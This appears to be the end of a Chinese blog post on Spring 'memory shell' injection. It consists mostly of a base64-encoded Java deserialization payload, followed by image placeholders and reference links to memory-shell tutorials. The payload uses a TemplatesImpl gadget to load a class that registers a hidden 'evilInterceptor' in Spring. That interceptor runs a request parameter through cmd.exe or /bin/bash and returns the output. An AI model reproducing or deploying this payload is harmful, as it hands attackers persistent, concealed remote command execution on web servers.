xqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAjZsr+ur4AAAA0ALsKACoAZwoAaABpCABqCwBrAGwHAG0HAG4LAAUAbwgAcAoAFwBxBwByCgAKAHMKAHQAdQoAdAB2BwB3BwB4CgAPAHMIAHkHAHoKABIAZwoAEgB7BwB8CAB9BwB+BwB/BwBPCQCAAIEKABcAggoAgwB1CgCEAIUKAIQAhgcAhwgAiAoAgACJCgCDAIoKABcAiwoAjACNBwCOCwAOAI8HAJAKACcAcwcAkQcAkgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAaTGNvbS9jbG93bi9JbnRlcmNlcHRvckRlczsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAkwEAEE1ldGhvZFBhcmFtZXRlcnMBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwEAB2NvbnRleHQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7AQAVbWFwcGluZ0hhbmRsZXJNYXBwaW5nAQBATG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXJNYXBwaW5nOwEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAEWFkYXB0SW50ZXJjZXB0b3JzAQAQTGphdmEvdXRpbC9MaXN0OwEABGNvZGUBABJMamF2YS9sYW5nL1N0cmluZzsBAAFkAQACW0IBAAFtAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQALY29uc3RydWN0b3IBAB9MamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAPZXZpbEludGVyY2VwdG9yAQA0TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yOwEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBAEZMamF2YS91dGlsL0xpc3Q8TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yOz47AQAUTGphdmEvbGFuZy9DbGFzczwqPjsBACJMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I8Kj47AQANU3RhY2tNYXBUYWJsZQcAbQcAbgcAlAcAcgcAdwcAeAcAkAEAClNvdXJjZUZpbGUBABNJbnRlcmNlcHRvckRlcy5qYXZhDAArACwHAJUMAJYAlwEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcAmAwAmQCaAQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQBAD5vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvQWJzdHJhY3RIYW5kbGVyTWFwcGluZwwAmwCcAQATYWRhcHRlZEludGVyY2VwdG9ycwwAnQCeAQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uDACfACwHAJQMAKAAoQwAogCjAQAOamF2YS91dGlsL0xpc3QBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgER0Hl2NjZ2Z0FBQURRQXJBb0FLQUJlQ0FCRkN3QmZBR0FMQUdFQVlnZ0FZd29BWkFCbENnQUxBR1lJQUdjS0FBc0FhQWNBYVFjQWFnZ0Fhd2dBYkFvQUNnQnRDQUJ1Q0FCdkNnQUtBSEFLQUFvQWNRY0FjZ2NBY3dvQWRBQjFDZ0FVQUhZS0FCTUFkd2dBZUFjQWVRb0FHUUJlQ2dBVEFIb0tBQmtBZXdnQWZBb0FHUUI5Q1FCa0FINEtBSDhBZ0FvQWdRQ0FDZ0NCQUlJS0FJRUFnd2NBaEFzQUtRQ0ZDd0FwQUlZSEFJY0hBSWdIQUlrQkFBWThhVzVwZEQ0QkFBTW9LVllCQUFSRGIyUmxBUUFQVEdsdVpVNTFiV0psY2xSaFlteGxBUUFTVEc5allXeFdZWEpwWVdKc1pWUmhZbXhsQVFBRWRHaHBjd0VBUFV4dmNtY3ZZMnh2ZDI0dmMzQnlhVzVuWW05dmRHMWxiVzl5ZVhOb1pXeHNMMmx1ZEdWeVkyVndkRzl5TDFSbGMzUkpiblJsY21ObGNIUnZjanNCQUFsd2NtVklZVzVrYkdVQkFHUW9UR3BoZG1GNEwzTmxjblpzWlhRdmFIUjBjQzlJZEhSd1UyVnlkbXhsZEZKbGNYVmxjM1E3VEdwaGRtRjRMM05sY25ac1pYUXZhSFIwY0M5SWRIUndVMlZ5ZG14bGRGSmxjM0J2Ym5ObE8weHFZWFpoTDJ4aGJtY3ZUMkpxWldOME95bGFBUUFCY0FFQUdreHFZWFpoTDJ4aGJtY3ZVSEp2WTJWemMwSjFhV3hrWlhJN0FRQUdkM0pwZEdWeUFRQVZUR3BoZG1FdmFXOHZVSEpwYm5SWGNtbDBaWEk3QVFBSGNISnZZMlZ6Y3dFQUUweHFZWFpoTDJ4aGJtY3ZVSEp2WTJWemN6c0JBQUZ5QVFBWVRHcGhkbUV2YVc4dlFuVm1abVZ5WldSU1pXRmtaWEk3QVFBR2NtVnpkV3gwQVFBU1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0FRQUhjbVZ6ZFd4MGN3RUFHVXhxWVhaaEwyeGhibWN2VTNSeWFXNW5RblZwYkdSbGNqc0JBQWR5WlhGMVpYTjBBUUFuVEdwaGRtRjRMM05sY25ac1pYUXZhSFIwY0M5SWRIUndVMlZ5ZG14bGRGSmxjWFZsYzNRN0FRQUljbVZ6Y0c5dWMyVUJBQ2hNYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnpjRzl1YzJVN0FRQUhhR0Z1Wkd4bGNnRUFFa3hxWVhaaEwyeGhibWN2VDJKcVpXTjBPd0VBQkdOdlpHVUJBQTFUZEdGamEwMWhjRlJoWW14bEJ3QnFCd0NLQndCcEJ3Q0hCd0NMQndDTUJ3Q0lCd0NOQndCeUJ3QjVCd0NFQVFBS1JYaGpaWEIwYVc5dWN3RUFFRTFsZEdodlpGQmhjbUZ0WlhSbGNuTUJBQXB3YjNOMFNHRnVaR3hsQVFDU0tFeHFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhGMVpYTjBPMHhxWVhaaGVDOXpaWEoyYkdWMEwyaDBkSEF2U0hSMGNGTmxjblpzWlhSU1pYTndiMjV6WlR0TWFtRjJZUzlzWVc1bkwwOWlhbVZqZER0TWIzSm5MM053Y21sdVoyWnlZVzFsZDI5eWF5OTNaV0l2YzJWeWRteGxkQzlOYjJSbGJFRnVaRlpwWlhjN0tWWUJBQXh0YjJSbGJFRnVaRlpwWlhjQkFDNU1iM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdmMyVnlkbXhsZEM5TmIyUmxiRUZ1WkZacFpYYzdBUUFQWVdaMFpYSkRiMjF3YkdWMGFXOXVBUUI1S0V4cVlYWmhlQzl6WlhKMmJHVjBMMmgwZEhBdlNIUjBjRk5sY25ac1pYUlNaWEYxWlhOME8weHFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhOd2IyNXpaVHRNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHRNYW1GMllTOXNZVzVuTDBWNFkyVndkR2x2YmpzcFZnRUFBbVY0QVFBVlRHcGhkbUV2YkdGdVp5OUZlR05sY0hScGIyNDdBUUFLVTI5MWNtTmxSbWxzWlFFQUZGUmxjM1JKYm5SbGNtTmxjSFJ2Y2k1cVlYWmhEQUFxQUNzSEFJc01BSTRBandjQWpBd0FrQUNSQVFBSGIzTXVibUZ0WlFjQWtnd0Frd0NQREFDVUFKVUJBQU4zYVc0TUFKWUFsd0VBR0dwaGRtRXZiR0Z1Wnk5UWNtOWpaWE56UW5WcGJHUmxjZ0VBRUdwaGRtRXZiR0Z1Wnk5VGRISnBibWNCQUFkamJXUXVaWGhsQVFBQ0wyTU1BQ29BbUFFQUNTOWlhVzR2WW1GemFBRUFBaTFqREFDWkFKb01BSnNBbkFFQUZtcGhkbUV2YVc4dlFuVm1abVZ5WldSU1pXRmtaWElCQUJscVlYWmhMMmx2TDBsdWNIVjBVM1J5WldGdFVtVmhaR1Z5QndDTkRBQ2RBSjRNQUNvQW53d0FLZ0NnQVFBQUFRQVhhbUYyWVM5c1lXNW5MMU4wY21sdVowSjFhV3hrWlhJTUFLRUFsUXdBb2dDakFRQUNEUW9NQUtRQWxRd0FwUUNtQndDbkRBQ29BS2tIQUlvTUFLb0FLd3dBcXdBckFRQVRhbUYyWVM5c1lXNW5MMFY0WTJWd2RHbHZiZ3dBVkFCVkRBQllBRmtCQUR0dmNtY3ZZMnh2ZDI0dmMzQnlhVzVuWW05dmRHMWxiVzl5ZVhOb1pXeHNMMmx1ZEdWeVkyVndkRzl5TDFSbGMzUkpiblJsY21ObGNIUnZjZ0VBRUdwaGRtRXZiR0Z1Wnk5UFltcGxZM1FCQURKdmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMGhoYm1Sc1pYSkpiblJsY21ObGNIUnZjZ0VBRTJwaGRtRXZhVzh2VUhKcGJuUlhjbWwwWlhJQkFDVnFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhGMVpYTjBBUUFtYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnpjRzl1YzJVQkFCRnFZWFpoTDJ4aGJtY3ZVSEp2WTJWemN3RUFER2RsZEZCaGNtRnRaWFJsY2dFQUppaE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdBUUFKWjJWMFYzSnBkR1Z5QVFBWEtDbE1hbUYyWVM5cGJ5OVFjbWx1ZEZkeWFYUmxjanNCQUJCcVlYWmhMMnhoYm1jdlUzbHpkR1Z0QVFBTFoyVjBVSEp2Y0dWeWRIa0JBQXQwYjB4dmQyVnlRMkZ6WlFFQUZDZ3BUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdBUUFJWTI5dWRHRnBibk1CQUJzb1RHcGhkbUV2YkdGdVp5OURhR0Z5VTJWeGRXVnVZMlU3S1ZvQkFCWW9XMHhxWVhaaEwyeGhibWN2VTNSeWFXNW5PeWxXQVFBVGNtVmthWEpsWTNSRmNuSnZjbE4wY21WaGJRRUFIU2hhS1V4cVlYWmhMMnhoYm1jdlVISnZZMlZ6YzBKMWFXeGtaWEk3QVFBRmMzUmhjblFCQUJVb0tVeHFZWFpoTDJ4aGJtY3ZVSEp2WTJWemN6c0JBQTVuWlhSSmJuQjFkRk4wY21WaGJRRUFGeWdwVEdwaGRtRXZhVzh2U1c1d2RYUlRkSEpsWVcwN0FRQVlLRXhxWVhaaEwybHZMMGx1Y0hWMFUzUnlaV0Z0T3lsV0FRQVRLRXhxWVhaaEwybHZMMUpsWVdSbGNqc3BWZ0VBQ0hKbFlXUk1hVzVsQVFBR1lYQndaVzVrQVFBdEtFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MMU4wY21sdVowSjFhV3hrWlhJN0FRQUlkRzlUZEhKcGJtY0JBQU52ZFhRQkFCVk1hbUYyWVM5cGJ5OVFjbWx1ZEZOMGNtVmhiVHNCQUJOcVlYWmhMMmx2TDFCeWFXNTBVM1J5WldGdEFRQUhjSEpwYm5Sc2JnRUFGU2hNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNwVmdFQUJXWnNkWE5vQVFBRlkyeHZjMlVBSVFBbkFDZ0FBUUFwQUFBQUJBQUJBQ29BS3dBQkFDd0FBQUF2QUFFQUFRQUFBQVVxdHdBQnNRQUFBQUlBTFFBQUFBWUFBUUFBQUF3QUxnQUFBQXdBQVFBQUFBVUFMd0F3QUFBQUFRQXhBRElBQXdBc0FBQUNKd0FHQUFzQUFBRGNLeElDdVFBREFnQTZCQmtFeGdET0xMa0FCQUVBT2dVU0JiZ0FCcllBQnhJSXRnQUptUUFpdXdBS1dRYTlBQXRaQXhJTVUxa0VFZzFUV1FVWkJGTzNBQTQ2QnFjQUg3c0FDbGtHdlFBTFdRTVNEMU5aQkJJUVUxa0ZHUVJUdHdBT09nWVpCZ1MyQUJGWEdRYTJBQkk2QjdzQUUxbTdBQlJaR1FlMkFCVzNBQmEzQUJjNkNCSVlPZ203QUJsWnR3QWFPZ29aQ0xZQUcxazZDY1lBSUJrS3V3QVpXYmNBR2hrSnRnQWNFaDIyQUJ5MkFCNjJBQnhYcC8vYnNnQWZHUXEyQUNBWkJSa0t0Z0FoR1FXMkFDSVpCYllBSTZjQUJUb0ZBNndFckFBQkFBOEEwd0RXQUNRQUF3QXRBQUFBVmdBVkFBQUFEd0FLQUJBQUR3QVNBQmNBRkFBbkFCVUFSZ0FYQUdJQUdRQnBBQm9BY0FBYkFJVUFIQUNKQUIwQWtnQWVBSjBBSHdDNkFDRUF3Z0FpQU1rQUl3RE9BQ1FBMHdBbUFOWUFKUURZQUNjQTJnQXBBQzRBQUFCNkFBd0FRd0FEQURNQU5BQUdBQmNBdkFBMUFEWUFCUUJpQUhFQU13QTBBQVlBY0FCakFEY0FPQUFIQUlVQVRnQTVBRG9BQ0FDSkFFb0FPd0E4QUFrQWtnQkJBRDBBUGdBS0FBQUEzQUF2QURBQUFBQUFBTndBUHdCQUFBRUFBQURjQUVFQVFnQUNBQUFBM0FCREFFUUFBd0FLQU5JQVJRQThBQVFBUmdBQUFGVUFCLzBBUmdjQVJ3Y0FTUHdBR3djQVNmOEFMd0FMQndCS0J3QkxCd0JNQndCTkJ3QkhCd0JJQndCSkJ3Qk9Cd0JQQndCSEJ3QlFBQUFuL3dBYkFBVUhBRW9IQUVzSEFFd0hBRTBIQUVjQUFRY0FVUUVCQUZJQUFBQUVBQUVBSkFCVEFBQUFEUU1BUHdBQUFFRUFBQUJEQUFBQUFRQlVBRlVBQXdBc0FBQUFZQUFGQUFVQUFBQUtLaXNzTFJrRXR3QWxzUUFBQUFJQUxRQUFBQW9BQWdBQUFDNEFDUUF2QUM0QUFBQTBBQVVBQUFBS0FDOEFNQUFBQUFBQUNnQS9BRUFBQVFBQUFBb0FRUUJDQUFJQUFBQUtBRU1BUkFBREFBQUFDZ0JXQUZjQUJBQlNBQUFBQkFBQkFDUUFVd0FBQUJFRUFEOEFBQUJCQUFBQVF3QUFBRllBQUFBQkFGZ0FXUUFEQUN3QUFBQmdBQVVBQlFBQUFBb3FLeXd0R1FTM0FDYXhBQUFBQWdBdEFBQUFDZ0FDQUFBQU13QUpBRFFBTGdBQUFEUUFCUUFBQUFvQUx3QXdBQUFBQUFBS0FEOEFRQUFCQUFBQUNnQkJBRUlBQWdBQUFBb0FRd0JFQUFNQUFBQUtBRm9BV3dBRUFGSUFBQUFFQUFFQUpBQlRBQUFBRVFRQVB3QUFBRUVBQUFCREFBQUFXZ0FBQUFFQVhBQUFBQUlBWFE9PQEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAKQApQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwcApgwApwBTDACoAKkHAKoHAKsMAKwArQwArgCvAQAQamF2YS9sYW5nL09iamVjdAEAO29yZy5jbG93bi5zcHJpbmdib290bWVtb3J5c2hlbGwuaW50ZXJjZXB0b3IuVGVzdEludGVyY2VwdG9yDACwALEMALIAswwAtAC1BwC2DAC3ALgBADJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcgwAuQC6AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAGGNvbS9jbG93bi9JbnRlcmNlcHRvckRlcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsBADlvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXMBAAxnZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7SSlMamF2YS9sYW5nL09iamVjdDsBAAdnZXRCZWFuAQAlKExqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA9wcmludFN0YWNrVHJhY2UBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA5nZXRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQALbmV3SW5zdGFuY2UBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAANhZGQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoAIQApACoAAAAAAAQAAQArACwAAQAtAAAALwABAAEAAAAFKrcAAbEAAAACAC4AAAAGAAEAAAAQAC8AAAAMAAEAAAAFADAAMQAAAAEAMgAzAAMALQAAAD8AAAADAAAAAbEAAAACAC4AAAAGAAEAAAA0AC8AAAAgAAMAAAABADAAMQAAAAAAAQA0ADUAAQAAAAEANgA3AAIAOAAAAAQAAQA5ADoAAAAJAgA0AAAANgAAAAEAMgA7AAMALQAAAEkAAAAEAAAAAbEAAAACAC4AAAAGAAEAAAA5AC8AAAAqAAQAAAABADAAMQAAAAAAAQA0ADUAAQAAAAEAPAA9AAIAAAABAD4APwADADgAAAAEAAEAOQA6AAAADQMANAAAADwAAAA+AAAACABAACwAAQAtAAACWQAGAAoAAADbuAACEgMDuQAEAwDAAAVLKhIGuQAHAgDAAAZMAU0SBhIItgAJTacACE4ttgALLAS2AAwBTiwrtgANwAAOTqcACjoEGQS2ABASEToEuwASWbcAExkEtgAUOgUSFRIWB70AF1kDEhhTWQQSGVNZBbIAGlNZBrIAGlO2ABs6BhkGBLYAHBkGuAAdtgAeB70AH1kDEiBTWQQZBVNZBQO4ACFTWQYZBb64ACFTtgAiwAAXOgcZBwO9ABe2ACM6CBkIA70AH7YAJMAAJToJLRkJuQAmAgBXpwAISyq2ACixAAMAHQAlACgACgA0AD0AQAAPAAAA0gDVACcABAAuAAAAZgAZAAAAEwAPABUAGwAWAB0AGAAlABsAKAAZACkAGgAtABwAMgAdADQAHwA9ACIAQAAgAEIAIQBHACMASwAkAFkAJQB8ACYAggAnALAAKAC7ACkAyQAqANIALQDVACsA1gAsANoALwAvAAAAhAANACkABABBAEIAAwBCAAUAQQBDAAQADwDDAEQARQAAABsAtwBGAEcAAQAdALUASABJAAIANACeAEoASwADAEsAhwBMAE0ABABZAHkATgBPAAUAfABWAFAAUQAGALAAIgBSAFMABwC7ABcAVABVAAgAyQAJAFYAVwAJANYABABBAFgAAABZAAAAIAADADQAngBKAFoAAwCwACIAUgBbAAcAuwAXAFQAXAAIAF0AAAA4AAb/ACgAAwcAXgcAXwcAYAABBwBhBP8AEgAEBwBeBwBfBwBgBwBiAAEHAGMG/wCNAAAAAQcAZAQAAQBlAAAAAgBmcHQAA2FhYXB3AQB4dXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAABdnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHEAfgAt

image-20241114162939356

image-20241114163005607

参考

https://xz.aliyun.com/t/12047?time__1311=GqGxR70QD%3DG%3DitD%2FYriQGkbvkp6QHKF4D&u_atoken=3b72cba8102056dc353d4296b75d2ed3&u_asig=0a47319217313359997215116e009a

https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Spring/%E5%88%A9%E7%94%A8intercetor%E6%B3%A8%E5%85%A5Spring%E5%86%85%E5%AD%98%E9%A9%AC/code/TouchFilea.java

https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Spring/%E5%88%A9%E7%94%A8intercetor%E6%B3%A8%E5%85%A5Spring%E5%86%85%E5%AD%98%E9%A9%AC/index.md

https://forum.butian.net/share/3002